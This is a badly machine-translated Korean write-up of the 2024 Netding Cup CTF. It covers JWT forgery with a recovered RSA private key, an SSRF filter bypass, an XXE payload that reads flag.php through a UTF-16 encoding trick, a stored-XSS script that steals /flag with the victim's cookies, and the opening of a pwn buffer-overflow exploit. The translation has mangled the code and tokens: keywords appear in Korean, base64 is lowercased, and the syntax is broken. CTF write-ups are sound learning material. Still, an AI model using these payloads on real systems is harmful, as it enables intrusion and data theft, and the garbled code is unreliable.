제목 : 2024 4 번째 Netding Cup 부분 경쟁 그룹 Wp

一、青龙组WEB​

web1

처음에 로그인 할 수 있으며 로그인 한 후 토큰 및 세션이 생성되면 하나는 JWT이고 다른 하나는 플라스크 프레임 워크입니다.
이것은 원래의 질문으로 JWT를 먼저 위조했습니다.
ctftime.org/downunderctf 2021 (온라인)/jwt/writeup
두 개의 토큰을 작성한 다음 RSA_SIGN2N 도구를 사용하여 공개 키를 생성합니다.
Python3 JWT_FORGERY.PY eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfhywfhin0.entobp4kzw6jbuqkc7fjt-fccq9momhkwrqkpo12bsg464yt2qni bluzgqjhndlgf2ukqb6owxhfm0qikrbg1skub0fo2kbkevrlpygj7txozcndgdl-egama-msn321rnw-aickjsijsij5tf0hzqgbu8ucg1zd8ujaybcj3oxoi eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imeifq.iuanu3g_ztypjdnoj9gockfro1ooqlmqt0to_wyli9i9pluhxbbid5d2 WFIF-SIHGPUDTZPVSHIE1AO0QNMLP3X7PVF-QB-JUASLVBNPR1RCKH2D3KQ4U1D2WEDVSGWVTJYA6S5NXRVJDCPZLZMX_6YWN8CAQVQ3KJLTV87OKO
img

공개 키를 얻으십시오
----- 공개 키 시작 ----
migfma0gcsqgsib3dqebaquaa4gnadcbiqkbgsslumfczg/ysg4ixoi6nkguwnnv
ipzztrna045eh2xzzy/zyrwdojstmh5wxg6novvnay/etx2xppc6j1j //nzc1fan
mncyra47xiw0rwzbdsabcgnwu3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502
zmsv0axmgn5umh9fcwidaqab
----- 엔드 퍼블릭 키 ------ 그런 다음 RSACTFTOOL을 사용하여 개인 키를 얻으십시오.
img

----- 시작 RSA 개인 키 -----
miicoqibaakbgsslumfczg/ysg4ixoi6nkuwnnvipzztrna045eh2xzzy/zyrwd
ojstmh5wxg6novvnay/etx2xppc6j1j //nzc1fanmncyra47xiw0rwzbdsabcgnw
u3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502zmsv0axmgn5umh9fcwidaqab
aogbc5/r+ncv2+uwxtjl8i6ujtlifdossxkbjniiklxqh3l8iaafx1i9ktxyeicw
tcgtukx9gjd+xuwo0kokjcg3hzc7beflkiosk8dswspfexyqpce1efokhkc9rbiq
urc9qirqjtzf5vdu2usj5ddrgtqtmpxm/ibu1tlpisy8y5tjaogbap2mj8b+pnwu
SCP0EYH99OG6JBLQLVWYSV34UDQARCFJKQOB60SOMZPGCYPR/AUHFDISNVKYXLK
s7ibebfmetwywux28ogfv7xtgf7rflwmakyxy4ml/dfhonv8khz6h5wpyxpl3wli
ujcssssjngxhj4aegltruyspixflrdfvagelaogbalrhzoo+tjwzq2xpmveqjvjl
bxfs2wbcf/theuzb8zw/axjncuj1ilxubpzpvigtkppd6mxihv13j/1+3qnyyein
HF6VOHLXZQ6ITRDETAFQJP4VUBIG+GPSQXQCHL5BNUE1QMDY3AW7LTARZZ8IQ5I
6GMI+WDRYP+GOQXD65UPAGERAOGAUJTS5PFHST6T8HFOVCF87ES6QGUQRTLWAGWR
TCFRQKB9TT1QRFGSADZLPUJ+QIRDQAM80AMNCVZDVTDG8NPMCKFP/R+OECPHPOUC
qsfy4pezpmlyb7dclcq0shttpmztthtkdr+gffdedbpfojtqc16qdngspbmkepfz
jqta99e=
-----END RSA PRIVATE KEY------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
게임 라우팅 기능에 액세스 할 수 있습니다. 해외에서 원래 질문이 있습니다.
AIS3-PRE-EXAM-2024-WRITEUP | NAUP의 블로그
CD 플래그를 구성하려면 이모 표현식을 사용하십시오. p: | cat *
source 소스 코드를 직접 읽으면 36f8efbea152E50B23290E0E0ED707B4B0의 Secret_key를 얻을 수 있습니다.
그런 다음 그냥 만들어냅니다
img

그런 다음 파일 업로드 기능을 사용할 수 있습니다. 먼저이 부분의 소스 코드를 감사합시다.
@app.route ( '/upload', method=[ 'get', 'post']))))
def upload () :
Token=request.cookies.get ( 'Token')
Token:이 아닌 경우
Flash ( '제발 로그인', '경고')
리디렉션 리턴 (url_for ( 'login'))
페이로드=decode_jwt (토큰)
form=uploadform ()
페이로드 또는 페이로드가 아닌 경우 [ 'username']!='admin':
error_message='이 페이지에 액세스 할 수있는 권한이 없습니다. 사용자 이름은 관리자가 아닙니다.'
render_template 리턴
세션이 아닌 경우 [ '역할'] 또는 세션 [ '역할']!='admin':
ERROR_MESSAGE='이 페이지에 액세스 할 수있는 권한이 없습니다. 역할은 관리자가 아닙니다.'
render_template 리턴
if form.validate_on_submit () :
file=form.avatar.data
파일 : 인 경우
filename=secure_filename (file.filename)
files={ 'file': (filename, file.stream, file.content_type)}
php_service_url='http://127.0.0.1/upload.php'
응답=requests.post (php_service_url, files=files)
If response.status_code==200:
Flash (response.text, 'success')
else:
Flash ( '파일을 PHP 서비스에 업로드하지 못했습니다', '위험')
render_template return ( 'upload.html', form=form)
@app.route ( '/view_uploads', method=[ 'get', 'post']))))
def view_uploads () :
Token=request.cookies.get ( 'Token')
form=gameform ()
Token:이 아닌 경우
error_message='먼저 로그인하십시오'
render_template ret
페이로드=decode_jwt (토큰)
3: 페이로드가 아닌 경우
error_message='유효하지 않거나 만료 된 토큰. 다시 로그인하십시오. '
render_template ret
페이로드가 아닌 경우 [ 'username']=='admin':
ERROR_MESSAGE='이 페이지에 액세스 할 권한이 없습니다. 사용자 이름은 admin이 아닙니다'
render_template ret
user_input=없음
if form.validate_on_submit () :
filepath=form.user_input.data
pathurl=request.form.get ( 'path')
if ( 'www.testctf.com'은 pathurl에 있지 않음) 또는 (paturl) 또는 ( '127.0.0.1' '또는 ('/var/www/html/uploads/'filepath에 있지 않음) 또는 (filepath) :
ERROR_MESSAGE='www.testctf.com 경로 및/var/www/html/uploads/filepath에 있어야합니다.'
render_template ret
params={ 'S': FilePath}
try:
응답=requests.get ( 'http://'+pathurl, params=params, timeout=1)
return render_template ( 'view_uploads.html', form=form, user_input=response.text)
:을 제외하고
ERROR_MESSAGE='500! 서버 오류 '
render_template ret
render_template ( 'view_uploads.html', form=form, user_input=user_input) 포트 80에 php 서비스가 있고 /업로드 경로는 파일을 uplaods 디렉토리에 업로드 할 수 있습니다. View_uploads Route에서 볼 수 있지만 WAF가 있습니다.
if ( 'www.testctf.com'에 있지 않음) 또는 ( '127.0.0.1'에서 pathurl) 또는 ( '/var/www/html/uploads/'filepath에 있지 않음) 또는 ( '. 그런 다음 127.0.0.1 대신 0.0.0을 사용할 수 있으며 SSRF의 점프를 사용하여 도메인 이름 제한을 우회 할 수 있습니다.
post /view_uploads http /1.1
Host: 0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64; RV:131.0) Gecko/20100101 Firefox/131.0
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/png, image/svg+xml,*/*; q=0.8
허용 : ZH-CN, ZH; Q=0.8, ZH-TW; Q=0.7, ZH-HK; Q=0.5, en-US; Q=0.3, en; q=0.2
accept-encoding: gzip, deflate
Content-Type: Application/X-WWW-FORM-URLENCODED
컨텐츠-길이 3: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: 닫기
참조 3: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn3:45732/view_uploads
쿠키: 세션=eyjjc3jmx3rva2vuijoijoijoiymyntjlzdzlytq5zmjmowqyzjjjjmq0ytblnjc1yzjhyzlmnmu5myisinjvgguioijhzg1pbij9.zybmxg.elz3z69hygp6lg3vjmnskno; 토큰=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfkbwluin0.dnqifndfowgggnuk95sqa5gdu_d6tdv95ltu97wup8ekg6zr nvvsnp8xkvvfsx0g3xvqqbqbo5xhdxjnpm8liiwx_kqx8fo8t0q0q0qbn1rj5o2bgkgozsuwaurkg7me6l4-xfixi7p328f1t4en_ksp91S7-9lcn 7 _ __ ___BRUH1
업그레이드-보안 요청 : 1
우선 순위 : u=0, i
csrf_token=imjkmjuyzwq2zwe0owzizjjlkmmyyzjkngewzty3nwmywm5zjzlotmi.zybmag.rcaslc0xuu8ep682ndtsz5peqsqpa th=[email protected]_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=submit 그런 다음 먼저 파일을 업로드 한 다음 읽을 수 있습니다. XML 파일로드에 실패한 것으로보고되면 XML을 구문 분석하고 XXE를 직접 눌러야하지만 시스템과 같은 많은 키워드를 필터링하므로 UTF-16 인코딩을 사용하여 우회하고 Flag.php 파일을 직접 읽으십시오.
? xml 버전='1.0'?
! docType 교체 [! 엔티티 예제 시스템 'php: //필터/convert.base64- encode/resource=/var/www/html/flag.php']
userinfo
FirstNameJohn/FirstName
LastNameExample;/lastName
/userinfoiconv -f utf8 -t utf16 1.xml3.xml
그런 다음 3.xml을 업로드 한 다음 읽고 플래그를 얻습니다
img

web2

컨테이너의 로그인 인터페이스를 열고, 계정 비밀번호를 마음대로 입력하고 취약점 인터페이스를 입력하십시오.
다음은 보스에게 보낼 기능이 있습니다.
그런 다음 액세스 /플래그에, 보스가 액세스해야합니다. 여기에서 XSS를 제출 한 다음 Boss가 먼저 액세스하고 액세스 한 다음 데이터를 콘텐츠로 가져올 수 있습니다.
scriptvar xmlhttp=new xmlhttprequest ();
xmlhttp.withcredentials=true;
xmlhttp.onreadyStateChange=function () {
if (xmlhttp.readystate==4 xmlhttp.status==200) {
var flagdata=xmlhttp.responsetext;
var flag1=btoa (flagdata);
var remoteserVerurl='/content/4a95828e3f0037bfe446ae0e0e693912df';
var xmlhttp2=new xmlhttprequest ();
xmlhttp2.open ( 'post', remoteserverurl, true);
xmlhttp2.setRequestheader ( 'content-type', 'application/x-www-form-urlencoded');
xmlhttp2.send ( 'content=' + encodeuricomponent (flag1))
}
};
xmlhttp.open ( 'get', '/flag', true);
xmlhttp.send ();/script
img

작업을 업데이트 한 후 보스에게 보내십시오
img

그런 다음 페이지로 돌아가서 깃발이 전송되었는지 확인하십시오.
img

PWN

PWN2

Image

로그인 기능으로 시작하면 사용자 이름과 비밀번호를 얻는 한 입력 할 수 있습니다.
Image

Vuln 함수에는 두 개의 바이트 오버 플로우가 있으며 BUF의 주소가 누출됩니다.
Image

또한 우리에게 백도어 함수 및 /bin /sh 문자열을 제공했습니다
Image

Image

완전한 exp
PWN 가져 오기 *
elf=elf ( './short')
컨텍스트 (arch=elf.arch, os=elf.os)
context.log_level='디버그'
# libc=elf ( './libc.so.6')
플래그=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
 
뒤로
상단